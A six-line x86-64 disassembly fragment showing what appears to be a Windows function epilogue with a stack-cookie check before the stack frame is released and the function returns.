mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002ad0
add rsp, 0x260
pop rbx
ret